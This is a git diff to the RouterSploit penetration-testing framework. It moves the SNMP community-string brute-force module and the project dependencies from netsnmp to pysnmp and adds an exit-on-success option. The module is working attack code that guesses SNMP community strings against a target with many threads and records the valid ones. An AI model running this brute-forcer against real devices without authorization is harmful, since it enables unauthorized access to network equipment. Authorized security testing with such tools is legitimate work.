diff --git a/README.md b/README.md index 383293c2c..a3a1259c8 100644 --- a/README.md +++ b/README.md @@ -20,12 +20,12 @@ It consists of various modules that aids penetration testing operations: * requests * paramiko * beautifulsoup4 +* pysnmp ## Installation on Kali git clone https://github.com/reverse-shell/routersploit cd routersploit - apt-get install python-netsnmp ./rsf.py ## Installation on Ubuntu diff --git a/requirements.txt b/requirements.txt index 05e78e940..994c8f797 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,4 +1,5 @@ gnureadline requests paramiko -beautifulsoup4 \ No newline at end of file +beautifulsoup4 +pysnmp diff --git a/routersploit/modules/creds/snmp_bruteforce.py b/routersploit/modules/creds/snmp_bruteforce.py index 479ae8fbf..b40876665 100644 --- a/routersploit/modules/creds/snmp_bruteforce.py +++ b/routersploit/modules/creds/snmp_bruteforce.py @@ -1,5 +1,5 @@ import threading -import netsnmp +from pysnmp.entity.rfc3413.oneliner import cmdgen from routersploit import ( exploits, @@ -29,7 +29,7 @@ class Exploit(exploits.Exploit): threads = exploits.Option(8, 'Number of threads') snmp = exploits.Option(wordlists.snmp, 'Community string or file with community strings (file://)') verbosity = exploits.Option('yes', 'Display authentication attempts') - + exit_on_success = exploits.Option('yes', 'Exit on first valid community string') strings = [] def run(self): @@ -59,23 +59,27 @@ def attack(self): def target_function(self, running, data): module_verbosity = boolify(self.verbosity) name = threading.current_thread().name - address = "{}:{}".format(self.target, self.port) print_status(name, 'thread is starting...', verbose=module_verbosity) + cmdGen = cmdgen.CommandGenerator() while running.is_set(): try: string = data.next().strip() - bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0") - res = netsnmp.snmpget(bindvariable, Version=1, DestHost=address, Community=string) + errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd( + cmdgen.CommunityData(string), + cmdgen.UdpTransportTarget((self.target, int(self.port))), + '1.3.6.1.2.1.1.1.0', + ) - if res[0] is not None: - running.clear() + if errorIndication or errorStatus: + print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity) + else: + if boolify(self.exit_on_success): + running.clear() print_success("Target: {}:{} {}: Valid community string found - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity) self.strings.append((self.target, self.port, string)) - else: - print_error("Target: {}:{} {}: Invalid community string - String: '{}'".format(self.target, self.port, name, string), verbose=module_verbosity) except StopIteration: break